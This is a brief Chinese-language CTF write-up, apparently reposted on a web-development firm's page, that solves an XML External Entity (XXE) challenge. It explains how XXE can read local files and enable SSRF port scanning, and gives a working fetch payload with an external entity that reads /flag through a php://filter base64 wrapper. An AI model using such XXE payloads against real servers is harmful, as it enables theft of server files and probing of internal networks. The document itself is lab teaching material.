CTF-XXE XML大冒险:你能找到隐藏的宝藏吗?
2026/6/25 21:57:51 网站建设 项目流程

1.外部实体注入 XXE + SSRF 内网端口扫描 + 本地文件读取

(1)XXE(XML External Entity)外部实体注入

XML 支持自定义 DTD 文档类型定义,可以通过SYSTEM关键字声明外部实体,让服务器去读取本地文件、发起内网 / 外网 HTTP 请求。 如果后端使用了未禁用外部实体的 XML 解析库,就会触发 XXE 漏洞,攻击者可以:

1.读取服务器任意本地文件(/etc/passwdlogin.php源码等)

2.结合 SSRF 对内网进行端口扫描、访问内网隐藏服务

2.查看网页源代码

3.打开 F12 查看页面源码,发现登录点击事件绑定doLogin()JS 函数

控制台 fetch 请求代码

fetch("login.php", { method: "POST", headers: { "Content-Type": "application/xml;charset=utf-8" }, body: `<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE user [ <!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]> <user> <username>&flag;</username> <password>123</password> </user>` }) .then(res=>res.text()) .then(data=>console.log("响应结果:",data))

4.使用cybechef进行解码

5.输入flag

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询